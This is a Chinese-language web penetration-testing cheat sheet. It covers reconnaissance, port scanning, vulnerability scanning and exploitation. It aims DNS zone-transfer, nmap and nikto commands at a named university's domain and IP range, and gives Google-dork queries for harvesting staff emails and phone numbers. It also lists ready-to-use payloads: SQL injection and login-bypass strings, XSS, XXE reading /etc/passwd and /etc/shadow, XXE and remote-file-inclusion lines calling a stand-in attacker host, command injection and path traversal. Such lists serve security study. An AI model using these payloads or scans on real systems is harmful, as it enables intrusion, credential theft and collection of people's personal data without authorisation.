- 1.信息收集
- 确认目标 -----域名信息相关工具
whatweb -v http://www.xxx.com
whois http://www.xxx.com
- DNS信息查询
- 使用linux自带命令dig/加上网站https://dnsdumpster.com/自带tracerote,
- 测试域传送:域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但 是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。
- dig -t NS syu.edu.cn +short
- dig -t AXFR syu.edu.cn @xxx
- dig -t AXFR syu.edu.cn @xxx
- 公开情报收集+google hacking语法
- https://www.exploit-db.com/google-hacking-database/谷歌黑客数据库
- email信息
- site:202.199.32.0/24 查找子域名
- intext:公司名称+email**
- email**@公司域名
- site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
- site:xxx.com intext:email
- site:xxxx.com intext:电话 //N个电话
- Intext:Poweredby Discuz //版本信息
- Cache:xxx.com //缓存
- 网站信息
- 查找后台地址:site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
- 查找文本内容site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
- 查找可注入点:site:域名 inurl:aspx|jsp|php|asp
- 查找上传漏洞:site:域名 inurl:file|load|editor|Files
- 找eweb编辑器:site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
- 存在的数据库:site:域名 filetype:mdb|asp|#
- 查看脚本类型:site:域名 filetype:asp/aspx/php/jsp
- 迂回策略入侵:inurl:cms/data/templates/images/index/
- Maltego:交互式的数据挖掘工具。
- Theharvester:从不同的公开资源中收集邮箱、子域名、虚拟主机、开放的端口/主机指纹和员工姓名等信息 。
- theharvester -d syu.edu.cn -l 1000 -b google
2 端口扫描,服务识别,os识别
- Nmap带服务识别和操作系统指纹识别的TCP/IP主机和端口扫描工具
- 扫描前1000号tcp端口nmap 202.199.32.5
- Ping扫描ip段主机 nmap –sP 202.199.32.0/24
- 扫描指定端口 nmap –p 80,443 202.199.32.5
- 扫描前1000号tcp端口,os指纹,服务 nmap –A 202.199.32.5
- 扫描udp端口 nmap –sU 202.199.32.5
- 扫描所有65535个UDP端口,并获取服务、OS指纹 nmap –sU –P- -A 202.199.32.5
- 常见端口漏洞信息
- 浏览器插件
- User Agent Switcher 一款可以快速切换用户代理的Firefox插件
- Wappalyzer 可以检测各种各样的网站所用的技术和软件组件的插件
- FoxyProxy 代理切换插件
- Burp插件在网上找到的
- Retire.js (BApp) 用于检测版本落后的Javascript组件漏洞的Burp suite扩展
- Wsdler (BApp) 可以解析WSDL文件,然后测试所有的允许的方法的请求https://blog.netspi.com/hacking-web-services-with-burp/
- Python Scripter (BApp) 可以在每个HTTP请求和响应时执行一段用户定义的Python脚本
- 漏洞扫描
- Linux自带NIKto:有指纹识别功能的Web服务漏洞扫描器
- nikto -h http://www.syu.edu.cn -output ~/syu.edu.cn.html -Format htm
- burp测试可选内容
- 使用Intruder来模糊测试 User-Agent和Referer请求头,利用FuzzDB的字典。
- 使用acunetix自动化扫描,
- IBM 扫描漏洞
- 注意错误页面
- 数据库结构和服务器文件系统等信息
- Burp Repeater:手工修改、重放HTTP请求的Burp模块
- Sql注入:显示错误信息
' OR 1=1 – 1
' OR '1'='1' or 1=1 LIMIT 1;--
admin';--
- Xss: <IMG SRC=javascript:alert('XSS')>
"><script>alert('XSS')</script><"
" onmouseover="alert('XSS')
- xml注入: Username = foo<
Username = foo<!—
- XML实体注入(XXE):
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
- 模板注入:攻击者利用模板的语法注入恶意代码。
<%= 7 * 7 %>
{{ 7 * 7 }}
- 命令注入:用户注入操作系统的命令到Web应用程序并被执行,就发生了命令注入。
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Doc=Doc1.pdf+|+Dir c:
- 恶意重定向:当应用没有检查用户可控输入时,攻击者输入了恶意的URL并被应用接受时发生。
http://www.a.com?#redirect=www.fake-target.site
http://www.b.com??url=http://www.fake-target.site
- 本地文件包含(LFI):Web应用允许包含本地服务器端存在的文件.
http://vulnerable_host/preview.php?file=../../../../etc/passwdhttp://vulnerable_host/preview.php?file=../../../../etc/passwd%00
- 远程文件包含(RFI):Web应用允许包含远程服务器上存在的文件。
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
- 逻辑漏洞:想要发现逻辑漏洞,你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后,你才能推想哪里有可利用的地方。测试逻辑漏洞时,可以回想作为普通用户是如何使用Web应用的功能的,是如何一步一步完成各种动作的,然后你要做的就是不按照这些步骤来。
https://www.owasp.org/index.php/Unrestricted_File_Upload
http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/
4漏洞利用
- 利用sqli;工具sqlmap
- 离线爆破密码工具;hashcat密码攻击
- 认证绕过
- 尝试在一些脆弱的表单里输入:
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
- 跨站请求伪造(CSRF):用Generate CSRF PoC来验证是否真的存在。
- Sql+xss+跨站+csrf+xml
http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/
- 安全加固
https://cnodejs.org/topic/5a502debafa0a121784a89c3
09/11/2018
youyouii